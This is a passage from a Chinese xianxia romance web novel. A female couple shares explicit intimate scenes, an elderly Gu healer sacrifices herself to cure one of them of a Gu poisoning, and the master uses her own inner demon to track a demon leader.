“情侣也需要陌生化,我们保持一下距离。” “想要负距离的难道不是你?” “此距离非彼距离。”傅清微的人已经退到了卫生间门口,说,“正距离越远,负距离越刺激。” 穆若水甘拜下风。 “记得拿睡衣。”她提醒了一句。 免得待会她进去送衣服,破坏了她们之间的正距离,影响负距离效果。 傅清微果然忘了,迅速出来了一趟又进去,期间偷亲了一下女人的脸。 卫生间里响起淋浴的水声。 穆若水听着日常生活化的插曲,走到了打开的窗户前,银河皎洁的天幕下,家家户户都亮起了一盏灯,仿佛山岚点缀的群星。 石娭毑的吊脚楼和其他人隔着一段距离,屋子又大,不闻人声,四周格外的静谧。 穆若水不知在想什么,对着山里的星星出神。 直到她身后袭来一阵沁人的暖香,整个人也落进了一个温暖的怀抱里。 腰上缠来一双白玉般的手,穆若水放松地向后靠了靠,冰凉的脸和傅清微的脸贴在一起。 傅清微刚洗完澡,热融融的体温源源不断传向她怀里的女人。 穆若水顺着低头亲了亲她的锁骨。 条件反射卷去她身上的水珠。 傅清微说:“你这是诱1?” 穆若水:“……莫要说为师听不懂的话。” 傅清微:“某些人嘴里说不要,实际行动却在勾引。” 穆若水才不理会她的歪理,将她拉到身前抱着,环着她的腰一起看风景。 傅清微说得对,她不应该担忧没有发生的事。即使这样的夜景她们将来能看无数次,和她的每一次都是独一无二的。 这座楼地势高,外面应该从窗户看不到里面,但穆若水在某个时候还是关上了窗。 傅清微被她抵在窗边,拥着她的腰吻上去的时候,傅清微又软软地叫了一声:“老婆。” 穆若水的唇停在她唇前,眼帘垂下来望她,问:“什么意思?” “妻子的意思。” “我知道。” 知道还问?她就是想听傅清微给她解释。 “妻称贵重,不可常常挂在嘴边。”听完还要嘱咐她。 “宝宝?” “……” 愈发荒唐了。 穆若水倾身堵上了她的嘴。 傅清微双臂环上女人的后颈,张口迎接她闯入的唇舌,剧烈地喘着气,勾着她湿滑的舌尖纠缠。 一边喘气一边和她拥吻。 “师尊……嗯……嗯……” 非是她吻技退步呼吸不过来,而是她太久没有与她这样接过吻,暴烈的快感从纠缠的舌头蔓开,融入四肢百骸。 傅清微整个人都攀到妻子身上,如同依附吞噬的菟丝花,边亲边带着她往床边走。 小腿碰到木床,她向床里倒去,穆若水的手分别护住她的头和腰,叠在她的上方。 傅清微的衣服早在接吻时被揉乱,她拉起女人在她腰后的手按到身前,带着她取悦自己,一边承受一边轻喘。 穆若水埋首亲着她的颈项,阻止了她的动作:“不要急,让我来。” 傅清微:“我怕你不来嘛。” 穆若水的唇移到低一些的地方,吮出一个红痕,说:“你也太低估自己了。我恨不得……” “恨不得吃了我?” “不止。” 傅清微满意地笑了。 傅清微的每一寸肌肤都被她细细吻着,比欲望更多的是怜爱。 傅清微在她温柔的唇舌下几乎要化作一滩水。 流动着,也沸腾着。 水满则溢,就在穆若水跪在床尾要俯身亲下来时,她们俩听见了屋外响起的争执声。 似乎是从主屋方向传来的,隔得有些远听不清,阿月在和石娭毑争吵。 石娭毑的声音几若未闻,阿月的嗓音越来越大,气得不轻。 渐渐又小了下去,许是石娭毑制止了她。 以阿月摔门而结束。 傅清微:“她们在说什么?” 穆若水捧着她,低头卷了卷她唇瓣泛滥的水光,口腔温热地裹住放开,愈发亮泽,颤颤地启开着,说:“这时候你还有心思吃瓜。” 傅清微被她伺候得细致周到,慵懒地嗯了一声,道:“好奇嘛,你耳力好跟我说说?” 穆若水慢条斯理地亲着她,舌头在里面搜刮过一圈,吞咽下去。 “石娭毑晚上挑食,少吃了蔬菜,她女儿生气了,和她吵架。” “嗯……她们……母女俩……感情真好。” “你还有心情聊天?”穆若水舌尖往里顶了顶,进得很深。 傅清微的声音开始颤抖。 “师尊不要!” 穆若水退出舌尖,只在湿软唇瓣表面舔着:“真不要?” 突然的空虚感抓住了傅清微的心脏。 “我……” “给你一次机会反悔。” “我要师尊。” 她主动抬手按住了女人的脑袋,挺身去迎合她的唇舌。 舌尖顿时钻入湿热地,傅清微咬着唇,忍不住啊了一声。 穆若水抬起脸,手轻轻地捂上来。 “嘘。” 傅清微点点头。 她将手拿开,专心伺候面前的双唇。 穆若水依旧温柔地舔吻着她,时不时在饱满的唇珠上含一含,周而复始这个过程。 傅清微意识昏沉,时而清醒时而迷离,所有的心绪和神经都被她一人牵动。 穆若水换成了手指。 拨弄,然后探入,在她张开的唇缝间肆意勾弄,榨出新鲜的汁水。 傅清微短暂地清醒了一阵,看向穆若水露出那种委屈又迷人的神情,眼睫周围泛上一圈红色,我见犹怜。 穆若水自上而下地望她,沉醉又痴迷,虔诚也迷乱。 “清微。清微。” 她情迷意乱地咬着她的颈和耳朵,吃进几缕乌发也不在意,手上的动作愈发快速。 傅清微被她带得微微晃动,小舟被席卷的海浪颠覆之前,紧紧地攀住唯一的浮木。 “师尊,师尊……” “我……我……” 穆若水再了解她不过,摸着她的脸安抚道:“乖,乖。” 傅清微死死地咬住她的手指,脱力一阵后,在她怀里抽泣。 穆若水吃掉了她流出来的泪水,手掌移开粘稠的原地,接着用唇吃掉她辛苦多时的成果。 傅清微以为她还要,不抱希望地哀求了一下:“我想休息一会儿。” 穆若水竟然大发慈悲地同意了,还用提前备好的湿巾轻柔擦拭她的唇瓣。 傅清微望着床顶默默等一切结束。 穆若水游上来抱住她,说:“睡觉吧,晚安。” 傅清微:“哎?” 穆若水:“石娭毑说适当的身心愉悦,没让你不知节制。” 说一说二,都是穆若水在乎她。 傅清微脸蹭着她的胸口,甜丝丝地嗯了一声。 “舒服了吗?” “舒服了,身心都舒服。”傅清微挪开一点脸,仰面道,“师尊,我还想更舒服一点,可以吗?” 穆若水侧了侧身,好看清她的神色,柔声问:“你想如何?” 傅清微的脸重新埋了进来,吸出啪嗒啪嗒的声响。 穆若水霎时面红耳赤:“……随你,但不要出声。” 傅清微闷在里面点头,呼吸不畅。 穆若水捏着她的后脖颈将她拉远了一些,看见她红润的脸色,比白日不知好了几多。 她心里叹了口气,主动捧起自己喂她。 傅清微含着睡了过去。 穆若水心神微燥,在傅清微睡着后许久才平复流速过快的血液,慢慢地有了困意。 睡前最后一个念头,她想:傅清微该不会在她身上找母爱吧?自己可没有这种癖好。 * “早安。”女人眉心落下一个亲吻。 一夜好眠的傅清微比她更早醒来,穆若水低头看着自己身上完好整齐的睡衣,傅清微的手也好好圈在她的腰上,没有意料之中的衣衫凌乱,袒胸露乳。 “早安。”穆若水回道。 看来傅清微只是喜欢她某个地方,不到变态的程度。 “我们起床吧。” “好。” 住在山清水秀的苗寨比在灵管局的鸽子笼病房养病要舒适得多,傅清微起来开窗户,深深地吸了一口山里清晨的空气。 太阳映在群山后面,像一个巨大的红色流心咸鸭蛋。 傅清微决定回去以后买个咸鸭蛋吃。 两人洗漱完后从房间出来,阿月正在院子里晾衣服。 傅清微礼貌地打招呼:“早上好啊,阿月姑姑。” 阿月拍了两下衣服,听若未闻。 之后也对二人视若无睹地离开了。 傅清微:“师尊,她刚刚是不是瞪我了?” 穆若水:“为师没有注意,许是你看错了。” 两人在石娭毑家用的早饭,吃了腌制的鱼肉,还有酒。石娭毑和阿月都没有出现,让傅清微觉得怪怪的。 中午又看到石娭毑母女俩,石娭毑跟她说在做准备工作,让她们先在寨子里玩,阿月还是没有理她们。 石娭毑年纪大了,手脚不如以前麻利,两天的准备工作做了三天。第三日一早,傅清微便在穆若水的陪同下来到指定的屋子。 西面单独的一间,没有窗户,阳光照不进来,里面有一种奇怪刺鼻的味道,是从正在熬制的一大锅药汤传出来的。 阿月正在往里面添加药材,和……会动的长条状动物。 傅清微眼睁睁看着她从脚边的竹篓里抓出来一条五彩斑斓的毒蛇丢进了锅里。 傅清微后怕地咽了咽口水。 房间里有一个古代泡澡的木桶,装了一半的热水,石娭毑让她把衣服脱了坐进去。 傅清微盘腿坐进去以后,阿月从那锅药汤里盛出来一碗,剩下的都倒进了木桶里。 穆若水:“有没有不适?” 傅清微:“暂时没有。” 阿月把那碗浓稠的“蛇羹”递过来,面无表情地说:“把它喝了。” 傅清微立刻面如土色:“现在有了。” 话虽如此,她接过碗的动作迅速,生怕惹得这两天对她不喜的阿月姑姑更不快,救命要紧,捏着鼻子三下五除二地灌了下去。 最苦的中药都比这一碗成分复杂的蛇羹甜,虽然傅清微没尝到什么固体物,但总觉得喉咙每次吞咽都滑腻腻的,仿佛蛇光滑的体表。 她强忍着反胃的欲望,将最后一口蛇羹饮尽,擦了擦嘴,差点吐出来。 外浸内服,草药和毒药在起作用。 傅清微诚实地告知三人自己的变化:“我有点热。” 细细密密的汗出现在她的额头,起初只是热,后来是痛,和蛊虫发作时的痛一模一样。 那只虫子识破对方的计谋,在她体内发了疯。 “师尊!师尊!”她疼得意识模糊,下唇咬得血肉模糊,只叫穆若水一个人的名字。 石娭毑伸手拦住穆若水:“不可。” 穆若水忍着眼底上涌的热气,钉在原地。 木桶里的水沸腾起来,浓稠的黑色汁水翻涌,似乎在和她身体里的蛊虫对抗。 蛊虫肆意奔走,在她的脏腑里随处乱窜,到哪里哪里便是生剜之刑。数不清的虫子啃噬她的血液和内脏。 傅清微双眼紧闭,汗如雨下,痛得要昏迷过去。 石娭毑喝道:“保持清醒!” 傅清微狠狠地咬破自己的舌尖,喷出一口舌尖血,血腥味弥漫在口腔,灵台顿时一震,恢复清明。 她睁开眼睛,在汗水模糊的视线里紧紧地盯住前方的青袍身影。 师尊。 穆若水。 她的妻子…… 傅清微不知道过了多久,她体内排山倒海的痛感慢慢地褪去。 然而这并不是个好征兆,阿月的脸色变得难看起来,调制的汤药在木桶里平静下来,这一城不是她们赢了,是傅清微身体里的蛊虫赢了。 石娭毑沉声道:“伸手!” 傅清微在桶中伸出左手,石娭毑枯皱的手掌有力地将她抓住,一只几乎完全透明的蛊虫从石娭毑的皮肤里浮现出来,只有翅膀有浅淡的粉色,分外美丽。 它一头扎进了傅清微的体内。 阿月声泪俱下:“妈妈!” 傅清微最后的意识停留在石娭毑干燥温暖的手掌向她握上来,虽然布满皱纹,摸起来并不舒服,却让她想起了照顾她长大的婆婆。 “奶奶……” 傅清微呢喃,昏迷了过去。 阿月泪流满面地扶起跪在地上的妈妈,石娭毑摆了摆手,对穆若水道:“她已无恙,抱她出去吧。” 穆若水将傅清微从木桶里捞起来,为她裹上衣袍,出门前她的背影在门口停顿了几秒,低声说:“谢谢你。” 傅清微这一睡便是一天一夜,她从来没睡得这么沉过。 穆若水守在她的床边,第十次为她擦脸和手的时候,她醒了过来。 她感觉不到自己身体有什么变化,问穆若水: “蛊虫解了吗?” “解了。”穆若水伸手探了探她的额头。 “你看起来不太开心,我还以为出什么意外了呢。”傅清微松了悬着的一口气。 “你昏睡了一天一夜,我担心你。” 穆若水牵过她的手至唇边,亲了亲她的手背。 “我刚刚发现,不对,是昨天发现,石娭毑好像我奶奶,就是我跟你提过的,一直照顾我到高中的婆婆,后来她因病去世了。” “嗯。” “她人呢?我要去向她道谢。” “我已经替你道过谢了。” “我既然醒了,当然要亲自去道谢。”傅清微说着便要下床,她感觉自己现在生龙活虎,尤其是蛊毒解了以后,更没有了后顾之忧,精神百倍。 “别这么着急。” 穆若水拉住她,说:“你睡了一天不饿吗?先吃点东西。” “好吧。”傅清微坐下来。 穆若水去拿吃的时候她去刷了个牙,师尊有洁癖,不喜欢她不刷牙就亲她。 傅清微先从师尊那里讨了点嘴上便宜,才来祭自己的五脏苗。 房子里外一如既往的安静,到极点便有些诡异。 正是黄昏。 夕阳残照,断霞如烟。 穆若水收拾了盘子,说:“我们走吧。” “去哪儿?” “离开寨子。” “这么突然?”她的手被穆若水拉着往外走,两个人都来到了庭院。 “我还没有向石娭毑道别,你让我道个别,你为什么这么急着带我走?是不是石娭毑出事了?!”傅清微用力拽了一下她的手,停下脚步。 “没有,她只是受了伤在休养,不宜见人。” 至少之前是这样。 两人正在院子里低声争执,正中间的屋子大门向两边打开。 阿月哭过的一双眼泛红。 “我妈妈……刚刚去世了。” 傅清微僵立在原地,似乎反应不及。几秒钟之后,眼泪毫无征兆地从她眼眶掉出来,泪如泉涌。 第一次有一个人,直接因她而死。 世间蛊虫千万,下蛊的手段千奇百怪。有些刁钻的蛊虫根本无解,苦婆婆下的千绦万虫蛊是她毕生心血,唯一的解法就是拿到蛊母,把子蛊引出来。除此之外,只能硬碰硬,找更厉害的蛊虫去对付,石娭毑刚好有一只本命蛊,从她还是女孩的时候就在她的身体里。 前几年她为救人动用了一次,她元气大伤,本命蛊也受了重创,这次是为了救傅清微。 她的本命蛊杀掉那只蛊虫以后,也死在了那里。 失去了本命蛊的蛊师,生机随之断绝。她明知救傅清微会死,却还是舍身救了她。 一命换一命。 她的命难道就比石娭毑的命更宝贵吗? 傅清微泪如雨下。 阿月:“我妈妈临终前说,她已是风烛残年,能够换两个人的生路,她没有遗憾了。” 阿月:“如果你们想送她最后一程的话,可以多留几天,恕我治丧繁忙,不能再亲自招待二位了。” 傅清微深鞠了一躬,说:“对不起。”眼泪和话一起溅在地上。 穆若水和傅清微离开了石娭毑家。 苗寨里其他人也得知了老人去世的消息,都在往上头赶,两人逆着人流下山。 傅清微回过头,那座高高的吊脚楼依然伫立在山巅,夕阳残照,对影成峰。 灵管局的人联系穆若水,询问她是否留在寨内,得到肯定的答案以后忙前忙后地安排了新住处。 夜里,傅清微在山脚下的房子里,仰头看着山顶上灯火通明。 穆若水从屋外走进来,傅清微听见响动,转了一下身子,把脸冲外面背影对着她。 穆若水走到她跟前,说:“怎么躲着我哭?” 傅清微擦了擦眼泪,说:“不是躲着,就是想自己消化一下。” 穆若水道:“那我去外面赏会儿月,需要我的时候叫我。” “嗯。” 穆若水走到门口驻足,回头又看了她一眼。 以傅清微的性格,如果事先知晓是这样救她的命,她绝不会轻易答应。一条人命的分量太重了,这个坎在她心里不知道多久才能过去。 穆若水明白且理解她的一切感受,如果傅清微需要的话她甚至能讲出一堆大道理来安慰她。 然而无法否认的是,她没办法对任何人的死产生同情怜悯和感同身受。 她只要傅清微活着,平安活着就好。 女人在月光下仰起脸,露出进苗寨以后第一个毫无负担的真心笑容,久久不散。 傅清微在里面叫她。 穆若水敛起笑,两手在唇角拉了拉,端起一副平静肃然的面孔,沉重地迈了进去。 “师尊。”傅清微眼角挂泪,跟个小可怜似的,果然找她要抱抱,“呜呜。” 穆若水忍住上翘的唇角,快步走过去抱住了她。 “怎么了?”她语气前所未有的温柔宠溺。 “石娭毑她……” “所以你更要好好延续她的生命啊,她有限的生命会在你身上得到无限的延伸。” 傅清微一个人根本消化不了,穆若水大道理哄了她半天,才让傅清微勉强从这件事里抽离出来。 穆若水看着她泪痕未干楚楚动人的脸,心想: 这个时候她想要上她,会不会显得有点变态了?魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 130-140 第131章 由于想法过于变态和不合时宜, 穆若水并未付诸实践,甚至没有说出口。 在傅清微的心目中,她已经是一个强大且会讲大道理的完美伴侣了。 观主伪装人类再进一步。 几天后, 两人回到苗寨参加了石娭毑的葬礼, 站在邱月白的身后, 邱月白见傅清微情绪低迷,安慰了她几句。 人各有缘法, 既然石娭毑选择了救她, 是她命中的造化。 上天安排她有此机缘,不必过于内疚。 邱月白是石娭毑的故交, 解蛊一事也是她一手促成。邱月白这样说, 无疑让傅清微的心里好受了许多。 其实不止是她,寨子里其他人也并未对傅清微投来异样的眼光。 石娭毑一生救人行善无数,作为这样的人, 能够在生命的最后再挽救一位年轻人的性命, 她肯定是含笑离世的。 葬礼上没有人哭,大家都是带着祝福来的。 长长的一条白色巨龙在深山里蜿蜒,抬棺与吊唁的人一起到了事先挖好的土坑, 棺木下葬,入土为安。 傅清微和穆若水当日参加完葬礼后,离开了苗寨。 下山的路上,迎面走过两位结伴的苗女, 头上戴着银角帽,身周银饰环佩叮当, 向她们打招呼地笑着微微点头。 叮铛声在身后远去, 傅清微回头看了一眼。 依山而建的吊脚楼层层叠叠,一条白水穿行而过, 结伴的苗女曲折游回地向上走,一直延伸到最大最高的那座山峰,晴空朗照,彩彻区明。 不到十天的经历像是一场幻梦,她性命垂危来到这里,解了蛊,带着希望和健康的身体回去。 银饰的光反射进她的眼睛里。 她一生都不会忘记这里。 穆若水牵着她的手,从台阶一步一步地走下山去。 * 穆、傅二人回到了阔别一月的蓬莱观。 狸花女王守家结束,小三花由灵管局的人专车送来,长毛整齐梳过,被照顾得溜光水滑,重了半斤。 傅清微从同事手里接过猫,递到穆若水手上。 穆若水掂了掂:“胖了。” 转身走入门里。 傅清微谢过同事,周全礼数。 之所以还是同事,是因为傅清微一直没有打离职报告,现在处于一个工资照发、事情不干的吃空饷状态。 你不问我不说,灵管局问了她再装惊讶的正式离职。 她们两口子为灵管局出生入死担的风险比工资多多了,傅清微打算占便宜到年底,再多她不好意思。 虽然穆若水表示让灵管局养她一辈子都不为过。 傅清微不知道她哪来的底气,可能这就是师尊的自信吧。 她是特别顾问,自己是什么?顾问家属可以享受特殊津贴吗? 傅清微在门口笑出了声,进去重新晒豆角。 上次打视频说给甘棠寄点,结果豆角全毁了不说,甘棠差点被她吓死,隔了几天还来旁敲侧击地问她要不咱换份工作? 傅清微是换不了了,她这辈子和穆若水绑死了,该找上门的迟早要找上门。 惟盼这场风波能早些过去。 只是敌暗我明,防不胜防,隐藏在暗处的魔族,让二人的生活蒙上一层挥之不去的阴影。 傅清微翻豆角带动了一下竹竿,她都会从屋子里冲出来,精神紧张,见到她没事才会松一口气。 每天送她去结界练功,亲自接她回来,时常陪她一起呆在里面,一待就是半天。 即使整座山都在她的监控之中,有什么异动她能立刻知晓赶到,但她依旧怕万一,她来不及赶到傅清微身边。 这里是她们的家,却宛如身在枷锁之中。 只有两只猫享有绝对的自由。 傅清微恨透了幕后主使,把她洒脱纵横的观主逼成了这副样子,杯弓蛇影。 她也有些怨自己,为什么如此弱小,如果她像邱老或者岁主任那样有单独面对魔头的能力,穆若水就不会因为她束手束脚,如履薄冰。 连温泉都不去泡了,除非自己陪她共浴。 傅清微:“……” 虽然日子不如先前自由,但她们该做的一点没少做。 在一起后第一次陪穆若水泡温泉,理所当然的两个人都没穿衣服。 绸缎般的光滑肌肤熨帖地抵在一起厮磨,抱着抱着就擦枪走火了。 傅清微自从对穆若水有意后,脑子里经常会出现幻想的亲密画面,她连想都没想过在水里的场景。 她们在水深的地方站着来了一次。 傅清微根本站不住,水的浮力和穆若水的手臂托着她,她不敢往下滑,再掉就要进水里,于是又要快乐,又要忍着不能太快乐,摇头往后缩。 穆若水在水里夹住她,直到她两股战战,控制不住地滑向水里。 一把从腋下穿过,手环在胸前,搂着她往池边休息的地方去。 穆若水在水下挑战了一次吉尼斯世界纪录。 然后换她坐在石椅里,让傅清微勾着她的腰分坐在她腿上…… 水融进了水中。 傅清微陪她泡过一次后再也不主动说去温泉了,望而生畏,望而却步。 风平浪静的日子过了半个月。 蓬莱观后院共有两间房,傅清微不知道的是最近她每晚睡着以后,穆若水会去对面的房间打坐,一坐就是半夜。 傅清微前半夜被折腾过度,后半夜睡得人事不知。 自从上次傅清微出事后,她们再回蓬莱,穆若水就明显察觉到了自己体内心魔的膨胀。 喜怒哀乐悲恐惊,人有七情,极端偏执就是癫迷,是为心魔。 她会在傅清微好好地坐在自己身边时产生幻觉,望着她流泪,或突然吐血,发生比中蛊还要糟糕的事情。 她知道这是幻象,也有能力去识破它,但每一次她都会为自己臆想的场景而真心实意地感到痛苦。 下一秒傅清微的手伸过来握住她,脸上的血污消失,干净明丽的一张脸,带着温柔的担忧。 “师尊,你怎么了?怎么一直看着我发呆?” “没什么。为师想你了。” “……” 傅清微说:“你现在张口就会哄我开心了。” 穆若水牵着她的手,认真地看她:“你是我妻,我不哄你开心哄谁?” 傅清微啊啊啊啊叫了几声,一骨碌将自己滚进她怀里,仰头说:“希望你以后嘴都这么甜。” “我会的。” 穆若水伸手捧住她的脸,年轻女人唇边突然溢出的鲜血染红了她的手。 “师尊……” 她痛苦的面孔在她眼前晃动,穆若水呆呆地看着,扼颈般熟悉的窒息感缠绕上来,让人无法呼吸。 太多次了,连她也分不清现在是真实还是幻境。 抑或是……做梦? 后院的小房间里,正在闭目打坐的穆若水眉头紧锁,白皙额头冒出一层细汗,睫毛颤动,口中不断低声念着一个名字。 “清微……清微……” “师尊,你怎么了?”窝在穆若水怀里撒娇的傅清微仰着脸,一只手覆上女人捧住她脸的手背,问,“我都等好久了,你怎么不亲我?” 穆若水神魂归位,唇瓣微白,定睛看了看她雪白无暇的面孔。 “没事。” 她吻了吻年轻女人的唇,傅清微对她浅尝辄止的触碰不满,主动加深了这个吻。 她指尖划过对方的腰带,勾着穆若水的脖颈将她带回了房间,太阳落山以前,屋里便回荡着令人面红耳赤的声音。 事后,穆若水衣衫半敞,床帐热气未散,问她怀里贪欢的傅清微:“你不是一向不肯在白天……” 傅清微说:“人生苦短,我能陪你的不过几十年,去掉年老色衰的几十年,只余下十来年,我不想留下遗憾。我们继续吧,师尊。” 穆若水发白的薄唇阖动:“你不要这么想……” 傅清微伸手轻轻捂住她的嘴。 “嘘,爱我。” 床帐里再度热火朝天。 穆若水站在院子里,竹竿上已经没有晾晒的干豆角了,傅清微牙口不好,咬不动,家里已许久不做这道菜了。 屋檐下没有放鸡胸肉和罐头的盘子,因为两只猫多年前都相继去世了,埋在了树下。 “师尊。”卧室传来的声音很微弱,但穆若水敏锐的听觉早已习惯了这道嗓音,女人快步奔进门去。 傅清微卧病在床,曾经年轻貌美的脸只有一双琥珀色眼睛能窥见过去的容颜和神采,也没有年轻时亮了,薄薄的阴翳蒙在她的眼前,浑浊暗淡,一眼看得出是老人的眼睛。 她饱满的皮肤失去了水分,变得皱巴巴的,嘴巴和石娭毑一样老得像个系紧的束口袋,皱纹一条一条的,深得像沟。 一条一条的岁月,横亘在她们的面前。 穆若水坐在床头,伸手握住她苍老干枯的手,眼神和几十年前别无二致的温柔。 “清微。” 她做到了她所承诺的那样,无论时光过去多少年,透过她的眼睛看到的,永远会是二十岁年轻的傅清微。 可傅清微快要死了,生老病死,是人生规律。 傅清微放在她掌中的手指动了动,摸了摸她光滑的手腕,充满不舍地望向她。 师尊永远都这么漂亮年轻,真好。 可惜与她这美好的一生,终究要结束了。 “若水……” 穆若水把她抱在怀里,一滴眼泪掉进她的眼睛里。 “不要走……”她恳求她,把她的掌心贴在自己脸颊。 傅清微在她怀中慢慢停止了呼吸。 穆若水闭上了眼睛,泪如雨下。 她抱着逐渐僵硬的恋人在屋子里呆呆地坐着,清泪流尽,眼角涌出来红色的血泪。 “师尊!” 年轻的清脆的声音在身后响起,穆若水回头,一身练功服、身背长剑的傅清微紧赶慢赶地追上来,抱怨道:“你走那么快干吗?说好的来接我回家吃饭,你一个人闷头走。” 穆若水慢慢地眨动了一下湿润的眼帘。 “傅清微?”她语调沙哑得仿佛几日没开过口。 “是我。”傅清微握住她颤抖向自己伸过来的手,关切道,“你怎么了?” “我……做了个噩梦。” “师尊也会做梦吗?没关系,梦都是反的,不要当真。” “……嗯。” 穆若水伸手去牵她垂在身侧的手,却落了个空。 傅清微在她面前消失了。 林子里的树木参天,绿意遮天蔽日,静谧的山风穿林而过,唯独没有恋人的身影。 “啊!!!” 耳旁骤然传来傅清微的惨叫,穆若水一步踏出,眼前已换了一副天地。 不远处的林子里,不知何时跳出一只八条腿的巨型蜘蛛,从天而降,动作奇快地爬行,钢针一样的螯肢挥动如疾风,风刃刮在树上留下深深的刻痕。 傅清微一人一剑,根本无法抵御,被刺中了肩膀,钉在了树干上。 傅清微喷出一口鲜血。 鲜红的血染红了她的肩头,节肢妖兽的螯肢自上而下再次狠狠刺下,傅清微的瞳孔收缩,她哀求的目光转向穆若水:“师尊救我……” 几步之遥,穆若水迈不过去。 她只能眼睁睁地看着螯肢噗的一声贯穿她的身体,再拔出来,鲜血飞溅,有几滴温热甚至溅到了她的脸上。 穆若水闭上了眼睛,再睁开眸色猩红,她紧紧盯着一棵树后。 “初次见面,很抱歉给你这样的见面礼。”树后走出来一个身披斗篷的女人身影,大大的黑色兜帽遮住了她的脸,阴影里隐约能窥见美好的下颔线。 她口称歉意,语气却半点听不出来,狂妄自大。 女人一挥手,穆若水面前的场景又一次变化,死在节肢妖兽手下的傅清微缩小成了千千万万幅画面中的一幅,中蛊而死的傅清微,中毒而死的傅清微,七窍流血的傅清微,病死老死的傅清微。 正在和妖兽搏斗,身受重伤或者孤军奋战的傅清微,血海里一个个傅清微回头,露出或流泪或悲伤望向她的脸。 女人五指一伸,将那些画面都散了出去,围绕在二人身周,用血海造了一个宇宙苍穹,生生不息。 “我知晓你的弱点,也明白你的软肋。只要你替我打开通道,我会为你扫除一切障碍。” “你想要凡人长生,我也可以帮你,你们可以永远在一起,过你想要的生活。” 魔擅长蛊惑,是因为它们能够窥见人心最软弱的地方,切中要害。 她观察了穆若水这么久,促成她的心魔壮大,对她的弱点成竹在胸。 穆若水:“我如果不呢?” 女人说:“你所见到的都会成真。” 穆若水不去看那些画面,一字一字说:“你知道吗?” “嗯?”女人哼出一个鼻音,对这个当世勉强能与她匹敌的人给出了不可多得的耐心。 下一秒她的胸腔里多了一只手,捏碎了心脏的地方。 女人本能要化作黑雾重新凝聚身形,然而这一缕远道而来的魔气没有她本体的万分之一力量,在穆若水强大的威压之下,挣扎都没有挣扎,不甘地消散在空气里。 穆若水双眼微眯,冷道:“本座最讨厌威胁。” 周身血海制造的天幕镜子一样轰然破碎,四分五裂,傅清微痛苦的脸也消失得无影无踪。 一切还没有结束。 穆若水抓住那一缕逸散的魔气气息,青丝尽数化作白发,一道红光越过空间缝隙,直接出现在了千里之外的木屋里。 迅雷不及掩耳之势贯穿了身披斗篷的女人的身体。 女人闷哼了一声。 她的识海里缓缓睁开一双猩红如宝石的血眸,占据全部视野,穆若水冰冷的声音在女人脑海响起。 “下次见面,就是你的死期。” “是吗?” 斗篷女人自言自语了一句,擦掉了唇边的血迹,玩味地勾起唇角。 “谁输谁赢还不一定呢。” * 穆若水蓦然睁开眼,窗外一轮明月静静地照耀在床沿。 她手撑着床面下地,慢慢走到了门外,回卧室看了眼正在睡觉的傅清微,路过院门口的脚步声惊醒了小狸花。 小狸花抬起爪子,跟了出来。 穆若水:“……” 全家属它最机灵。 穆若水向它做了个制止的手势,自己往外走了几步,扶着一棵不起眼的树,低头吐出一口鲜血。 小狸花:“喵~” 穆若水:“嘘,别叫,没事。” 吐在屋子里会被傅清微发现,她自己又不想半夜打扫,不如多坚持一会儿,万一傅清微不小心看到可以嫁祸给山里的动物。 穆若水没有立即回去,而是拿出手机给岁已寒打了个电话。 不管现在是不是凌晨三点。 岁已寒很快接了起来,听声音像是没睡:“真人有什么吩咐?” 穆若水轻描淡写:“我知道她在哪里了。” 岁已寒从办公室的沙发里一个激灵坐起身,接着站了起来,露出惊喜又难以置信的神情。 穆若水修长身影沐浴在月光下,面色说不出的冷然。 心魔虽无法根除,但穆若水修为恐怖,想要压制它并不难,怎么会坐视它壮大,频频让自己陷入幻觉和噩梦? 除非她是故意的。 穆若水放任心魔生长,到了一定的境界,魔族的领袖就能通过心魔降临她的意识,和她直接沟通,哪怕是一缕她本体分出的魔气,足以让穆若水顺藤摸瓜找到她的踪迹。 藏头露尾的鼠辈! 她软硬兼施,先兵后礼,穆若水还她一计欲擒故纵、请君入瓮。 与其坐以待毙,不如主动出击。 虽然位置不能精确到具体,但有了穆若水提供的关键线索,灵管局缩小范围找到始作俑者只是时间问题。 而且势必不会太久。 为了根除隐患,给傅清微报仇,她一定要杀了她! …… “师尊?” 穆若水沾了一身树林里的寒气,从背后抱傅清微的时候把她惊醒了。 她闭着眼睛转过来,用自己的体温裹住她,问:“你去哪里了?” “我去外面喂猫了。” “你的心里就只有猫。”傅清微嘀咕了一声,把脸埋进女人的颈窝。 “最喜欢活好水多的那只。”穆若水亲着她的额头说。 傅清微温热的气息一下一下呼在她锁骨,已经睡着了。 穆若水抬手抚了抚她的长发,睁着眼直到天明,在傅清微醒时才装作睡着的样子,被她偷亲,然后又装作刚睡醒,和她一起起床。 灵管局动用了全部力量搜索,在鹤市东南的深山里,找到了一个可疑的苗寨。 一条河流分为东西两寨,古沙西寨沿路有专人把守,平时不许人过去,灵管局的线人苗女悄悄潜入东寨打探。 前线传来的照片由穆若水确认,和她那日意念延伸出去所见到的景象一致。 穆若水:“她在一个木屋子里,外面有一圈篱笆围栏,再往上找找。” 岁已寒:“是。另外,我们很巧合地找到了可能给傅清微下蛊的人,不过她和她的孙女都失踪了,恐怕凶多吉少。” 穆若水无动于衷:“什么时候出发?” 岁已寒明知仍确认了一遍:“真人和我们一起吗?” 穆若水:“我若不去,你们谁能对付她?” 岁已寒:“……” “我不喜欢听废话。” “是。”岁已寒立刻说到关键,“傅清微怎么安排?” 穆若水险些脱口道:跟我一起。 “我再想想,稍后答复你。” “好。” 直到现在傅清微才知道她每天和岁已寒打电话都在忙活些什么,她要带着灵管局的人一起,去端掉魔族的老巢。 这么大的事,她一直瞒着自己,现在告诉她,也不是她想通了,是因为要安排她的去处。 “你又这样!” “我错了。”穆若水直接套正确公式,不在同一个地方跌倒两次。 “……” 傅清微气道:“你只是口头知错,又不是心里知道错了!” “回来后我任由你……” “别说这种话。”傅清微伸手捂上她的嘴唇,说,“不吉利。” 穆若水不明白为什么好好的话会不吉利,但傅清微不让她说,她就闭口不言了。 傅清微拉着她的手在藤椅坐下来,问:“一定要你去吗?岁主任她们不行吗?灵管局那么多能人,怎么就指望你呢?” “她们不行。” “为什么不行?” 穆若水欲言又止,止了不言。 傅清微跳脚:“你又有事瞒着我!” 穆若水这才松了口,斟酌道:“根据灵管局掌握的线索,魔族盘踞古沙西寨已久,那个人的身边有不少化魔的人和妖魔,灵管局其他人包括岁已寒,要去对付它们。” “那你呢?” “我去对付那个人。”那个人就是身披斗篷的女人,它们的领头。 “会不会有危险?” “我和她交过手,在伯仲之间。” 